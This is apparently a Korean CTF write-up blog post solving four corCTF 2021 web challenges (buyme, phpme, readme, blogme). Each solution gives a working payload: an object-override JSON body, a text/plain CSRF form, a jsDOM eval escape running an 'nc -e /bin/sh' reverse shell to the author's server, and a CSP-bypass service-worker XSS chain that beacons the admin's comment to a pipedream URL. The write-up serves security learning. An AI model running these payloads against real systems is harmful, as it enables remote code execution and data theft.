buyme
플래그 구매하는 기능에서 취약점이 발생한다.
router.post("/buy", requiresLogin, async (req, res) => {
if(!req.body.flag) {
return res.redirect("/flags?error=" + encodeURIComponent("Missing flag to buy"));
}
try {
db.buyFlag({ user: req.user, ...req.body });
}
catch(err) {
return res.redirect("/flags?error=" + encodeURIComponent(err.message));
}
res.redirect("/?message=" + encodeURIComponent("Flag bought successfully"));
});
전개연산자를 쓰고 있기 때문에 user object를 덮는 것이 가능하다.
proxy툴로 잡아서 json data를 아래와 같이 수정하면 플래그를 얻을 수 있다.
payload
{"flag":"corCTF","user":{"user":"as3617","flags":[]}}
phpme
<?php
include "secret.php";
// https://stackoverflow.com/a/6041773
function isJSON($string) {
json_decode($string);
return json_last_error() === JSON_ERROR_NONE;
}
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if(isset($_COOKIE['secret']) && $_COOKIE['secret'] === $secret) {
// https://stackoverflow.com/a/7084677
$body = file_get_contents('php://input');
if(isJSON($body) && is_object(json_decode($body))) {
$json = json_decode($body, true);
if(isset($json["yep"]) && $json["yep"] === "yep yep yep" && isset($json["url"])) {
echo "<script>\n";
echo " let url = '" . htmlspecialchars($json["url"]) . "';\n";
echo " navigator.sendBeacon(url, '" . htmlspecialchars($flag) . "');\n";
echo "</script>\n";
}
else {
echo "nope :)";
}
}
else {
echo "not json bro";
}
}
else {
echo "ur not admin!!!";
}
}
else {
show_source(__FILE__);
}
?>
소스코드를 주는데 http body에서 json data를 가져와서 parsing한다음 여러가지 동작을 하는 것을 확인할 수 있다.
secret쿠키는 아마도 admin bot한테 있을거라 생각했고 우린 post data를 json 형태로 bot한테 넘겨주기만 하면 된다.
이때 굉장히 재밌는 걸 찾을 수 있는데 form을 전달할 때 text/plain이나 multipart/form-data로 content-type을 넘겨주고
아래와 같이 전달해주면 문제에서 json parsing을 진행할 때 오류 없이 잘 돌아간다.
{"asdf":"asdf=","yep":"yep yep yep","url":"myserver"}
name에다가 {"adsf":"asdf를 넣어주고 value에다가 "부터 }까지 넣어주면 된다. form data전송은 내 서버에 html 파일을 올린다음 admin bot이 내 서버를 방문하게 해서 전송했다. 좀 기다리면 바로 플래그를 준다.
payload
<head>
<script>
function go(){
a='","yep":"yep yep yep","url":"https://requestbinurl/"}';
document.getElementById('exploit').value=a;
document.getElementById('form1').submit();
}
</script>
</head>
<body onload=go()>
<form action="https://phpme.be.ax/" method="post" id="form1" enctype="text/plain">
<input type="sadf" id="exploit" value='' name='{"asdf":"asd'>
</form>
</form>
</body>
readme
url을 넘겨주면 html 데이터를 파싱해서 렌더링해주는 기능을 구현한 문제다.
jsDOM을 사용하고 있는데 사용하고 있는 라이브러리는 다 최신버전이라서 특별한 취약점이 발생하지 않는다.
하지만 Dom을 load하는 기능에서 잘못된 eval함수 사용으로 rce가 가능하다.
const loadNextPage = async (dom, socket) => {
let targets = [
...Array.from(dom.window.document.querySelectorAll("a")),
...Array.from(dom.window.document.querySelectorAll("button"))
];
targets = targets.filter(e => (e.textContent + e.className).toLowerCase().includes("next"));
if(targets.length == 0) return;
let target = targets[targets.length - 1];
if(target.tagName === "A") {
let newDom = await refetch(socket, target.href);
return newDom;
}
else if(target.tagName === "BUTTON") {
dom.window.eval(target.getAttribute("onclick"));
return dom;
}
return;
};
코드를 보면 target의 click atturibute의 값을 가져와서 eval로 실행해준다.
이때 jsDom의 context가 아닌 외부에서 eval을 실행할 수 있다. 그래서 아래와 같이 html을 작성한다음 서버에 업로드하고
url을 전송하면 reverse shell을 획득할 수 있다.
payload
<!DOCTYPE html>
<html>
<p>die</p>
<button class="next" onclick='global.process.mainModule.require("child_process").exec("nc myserver 1234 -e /bin/sh")'>next</button>
</html>
blogme
프로필 사진을 업로드하고 게시글을 작성할 수 있는 기능을 구현한 문제다. admin bot은 게시글 url을 넘겨주면 flag를 댓글에 작성해주는데 백엔드에서 플래그를 제거한 뒤 db에 넣는다.
우선 xss를 찾기 위해 태그가 삽입가능한 곳을 찾아보았다.

게시글을 작성할 때 내용에 스크립트 태그를 삽입할 수 있다. 하지만 csp로 인해 script를 실행하는 것이 불가능하다.
csp는 다음과 같이 적용되어있다.
object-src 'none'; script-src 'self' 'unsafe-eval';
script를 실행하려면 서버에 js파일을 업로드하던지 이미 있는 javascript file을 이용해야하는데 file을 upload하는 부분에서 mimetype을 컨트롤할 방법이 없어서 이미 있는 javascript file을 이용해야한다.
게시글을 작성할 때 email이 내용에 포함되어있으면 다음 스크립트를 로드한다.
https://blogme.be.ax/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js
cloudflare가 자동으로 추가하는 script인데
https://demo.vwzq.net/cloudflare/value.html
이때 csp를 bypass해서 script를 실행할 수 있는 poc가 존재한다.

이제 스크립트를 맘대로 실행하는 것이 가능한데 admin이 comment를 작성할 때 서버로 전송하기 전에 가로채야 플래그를 얻을 수 있다.
대회 시간 도중에 생각한 시나리오는 다음과 같다.
window.open으로 https://blogme.be.ax/cdn-cgi/scripts/를 열어서 csp가 반환되지 않는 페이지 생성 ->
페이지에 스크립트를 삽입한 뒤 window.opener을 이용하여 parent 객체에 접근 ->
comment를 작성할 때 textarea에 접근해서 flag 릭
or
comment페이지를 열었을 때 페이지를 변조하여 내 서버로 flag 전송
정도였다.
하지만 보안상의 이유로 parent page의 url이 변경되는 event를 감지한 뒤에 post page의 document에는 접근할 수 있었지만 /api/comment page의 document에는 접근이 안됬다.
그러다 대회가 끝난 뒤 라업을 보니 Service Worker을 이용하여 comment page를 변조하여 flag를 leak하는 문제였다.
admin은 mimetype을 javascript로 설정할 수 있기 때문에 xss를 이용하여 admin권한으로 스크립트를 업로드하고 serviceworker로 업로드한 스크립트를 register하면 comment page를 변조하여 flag를 leak할 수 있게 된다.
payload
<script>
let stage1 = () => { fetch("data:application/javascript;base64,c2VsZi5hZGRFdmVudExpc3RlbmVyKCdmZXRjaCcsIGFzeW5jIChlKSA9PiB7CiAgICBjb25zb2xlLmxvZyhlKTsKICAgIGlmKGUucmVxdWVzdC51cmwuaW5jbHVkZXMoIi9hcGkvY29tbWVudCIpKSB7CiAgICAgICAgZS5yZXNwb25kV2l0aChuZXcgUmVzcG9uc2UobmV3IEJsb2IoW2AKCjwhRE9DVFlQRSBodG1sPgo8aHRtbCBsYW5nPSJlbiI+Cgo8aGVhZD4KICAgIDxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wLCBzaHJpbmstdG8tZml0PW5vIj4KICAgIDx0aXRsZT5ibG9nbWU8L3RpdGxlPgogICAgPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSIvYXNzZXRzL2Jvb3RzdHJhcC9jc3MvYm9vdHN0cmFwLm1pbi5jc3MiPgogICAgPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSJodHRwczovL2ZvbnRzLmdvb2dsZWFwaXMuY29tL2NzczI/ZmFtaWx5PUxhdG86d2dodEA0MDA7NzAwJmFtcDtkaXNwbGF5PXN3YXAiPgogICAgPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSJodHRwczovL2ZvbnRzLmdvb2dsZWFwaXMuY29tL2Nzcz9mYW1pbHk9TG9yYSI+CiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Ii9hc3NldHMvY3NzL3N0eWxlcy5jc3MiPgo8L2hlYWQ+Cgo8Ym9keT4KICAgIDxuYXYgY2xhc3M9Im5hdmJhciBuYXZiYXItZGFyayBuYXZiYXItZXhwYW5kLW1kIHRleHR3aGl0ZSBiZy1wcmltYXJ5IHRleHQtd2hpdGUgbmF2aWdhdGlvbi1jbGVhbiI+CiAgICAgICAgPGRpdiBjbGFzcz0iY29udGFpbmVyIj4KICAgICAgICAgICAgPGEgY2xhc3M9Im5hdmJhci1icmFuZCIgaHJlZj0iLyI+YmxvZ21lPC9hPgogICAgICAgICAgICA8YnV0dG9uIGRhdGEtYnMtdG9nZ2xlPSJjb2xsYXBzZSIgY2xhc3M9Im5hdmJhci10b2dnbGVyIiBkYXRhLWJzLXRhcmdldD0iI25hdmNvbCI+CiAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0idmlzdWFsbHktaGlkZGVuIj5Ub2dnbGUgbmF2aWdhdGlvbjwvc3Bhbj4KICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJuYXZiYXItdG9nZ2xlci1pY29uIj48L3NwYW4+CiAgICAgICAgICAgIDwvYnV0dG9uPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb2xsYXBzZSBuYXZiYXItY29sbGFwc2UiIGlkPSJuYXZjb2wiPgogICAgICAgICAgICAgICAgPHVsIGNsYXNzPSJuYXZiYXItbmF2IG1zLWF1dG8iPgogICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz0ibmF2LWl0ZW0iPjxhIGNsYXNzPSJuYXYtbGluayIgaHJlZj0iLyI+SG9tZTwvYT48L2xpPgogICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz0ibmF2LWl0ZW0iPjxhIGNsYXNzPSJuYXYtbGluayIgaHJlZj0iL3Byb2ZpbGUiPlByb2ZpbGU8L2E+PC9saT4KICAgICAgICAgICAgICAgICAgICA8bGkgY2xhc3M9Im5hdi1pdGVtIj48YSBjbGFzcz0ibmF2LWxpbmsiIGhyZWY9Ii9wb3N0cyI+WW91ciBQb3N0czwvYT48L2xpPgogICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz0ibmF2LWl0ZW0iPjxhIGNsYXNzPSJuYXYtbGluayIgaHJlZj0iL2FwaS9sb2dvdXQiPkxvZ291dDwvYT48L2xpPgogICAgICAgICAgICAgICAgPC91bD4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgPC9kaXY+CiAgICA8L25hdj4KCiAgICA8ZGl2IGNsYXNzPSJjb250YWluZXIgY2FyZCBiZy1zZWNvbmRhcnkgbXQtNSBwLTAiPgogICAgICAgIDxkaXYgY2xhc3M9ImNhcmQtaGVhZGVyIj48aDMgY2xhc3M9Im0tMCI+Q29tbWVudDwvaDM+PC9kaXY+CiAgICAgICAgPGRpdiBjbGFzcz0iY2FyZC1ib2R5Ij4KICAgICAgICAgICAgPGRpdiBjbGFzcz0iY2FyZC10ZXh0Ij5FbnRlciB5b3VyIGNvbW1lbnQgYmVsb3c6PC9kaXY+CiAgICAgICAgICAgIDxmb3JtIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSJodHRwczovL2Vuanoycm5sYm12eGcueC5waXBlZHJlYW0ubmV0LyI+CiAgICAgICAgICAgICAgICA8aW5wdXQgY2xhc3M9ImZvcm0tY29udHJvbCIgdHlwZT0iaGlkZGVuIiBuYW1lPSJpZCIgdmFsdWU9IjcyMTNmNTU0LTJiOTgtNDIyYS04NDE2LTdhNDVkNmM3MTZiZSI+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJpbnB1dC1ncm91cCBtdC0zIj4KICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0iaW5wdXQtZ3JvdXAtdGV4dCI+Q29tbWVudDwvc3Bhbj4KICAgICAgICAgICAgICAgICAgICA8dGV4dGFyZWEgY2xhc3M9ImZvcm0tY29udHJvbCIgbmFtZT0idGV4dCIgcm93cz0zIG1heGxlbmd0aD0xNTA+PC90ZXh0YXJlYT4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iX2NzcmYiIHZhbHVlPSJRYUpWcFJleC1ZeDNVaFZSRENIV0tUOEdnSndnOFA5SGtSQU0iPgogICAgICAgICAgICAgICAgPGJ1dHRvbiBjbGFzcz0iYnRuIGJ0bi1wcmltYXJ5IG10LTMgZmxvYXQtZW5kIiB0eXBlPSJzdWJtaXQiPkNvbW1lbnQ8L2J1dHRvbj4KICAgICAgICAgICAgPC9mb3JtPgogICAgICAgIDwvZGl2PgogICAgPC9kaXY+CiAgICA8c2NyaXB0IHNyYz0iL2Fzc2V0cy9ib290c3RyYXAvanMvYm9vdHN0cmFwLm1pbi5qcyI+PC9zY3JgICsgYGlwdD4KICAgIDxzY3JpcHQgc3JjPSIvYXNzZXRzL2pzL2pxdWVyeS5taW4uanMiPjwvc2NyYCArIGBpcHQ+CiAgICA8c2NyaXB0IHNyYz0iL2Fzc2V0cy9qcy9zY3JpcHQuanMiPjwvc2NyYCArIGBpcHQ+CjwvYm9keT4KPC9odG1sPgogICAgICAgIGBdLCB7IHR5cGU6ICd0ZXh0L2h0bWwnIH0pKSk7CiAgICB9CiAgICByZXR1cm47Cn0pOw==").then(r => r.blob()).then(async b => {
let formData = new FormData();
formData.append("blob", b, "test.js");
let stage2 = (SW_FILEID) => {
navigator.serviceWorker.register(`https://blogme.be.ax/api/file?id=${SW_FILEID}`, {
scope: '/api/comment'
});
};
let pfp = await (await fetch("/profile")).text();
let csrf = /\?_csrf=(.*?)"/.exec(pfp)[1];
let response = await fetch("/api/upload/?_csrf=" + encodeURIComponent(csrf), {
method: 'POST',
body: formData
});
navigator.sendBeacon("https://?.x.pipedream.net/", new URLSearchParams(new URL(response.url).search).get("message"));
stage2(new URLSearchParams(new URL(response.url).search).get("message").slice(-36));
});
};
window.name = "(" + stage1.toString() + ")();";
window.location="https://blogme.be.ax/post/"; // include <script>eval(name);</script> page
</script>
위의 html파일을 내 서버에 업로드한 뒤 meta tag를 이용하여 봇을 내 서버로 데려오면 eval(name)을 이용해서 문제 서버에서 script를 실행할 수 있다. 좀 기다리면 requestbin에서 플래그를 확인할 수 있다.
'ctf writeup' 카테고리의 다른 글
| 2021 Whitehat Contest Finals web writeup (0) | 2021.10.10 |
|---|---|
| corCTF 2021 - mathme writeup (0) | 2021.08.24 |
| SSTF 2021 - poxe_center writeup (0) | 2021.08.17 |
| IJCTF 2021 Memory (0) | 2021.07.25 |
| 0CTF/TCTF 2021 Quals - 1linephp [web] (0) | 2021.07.05 |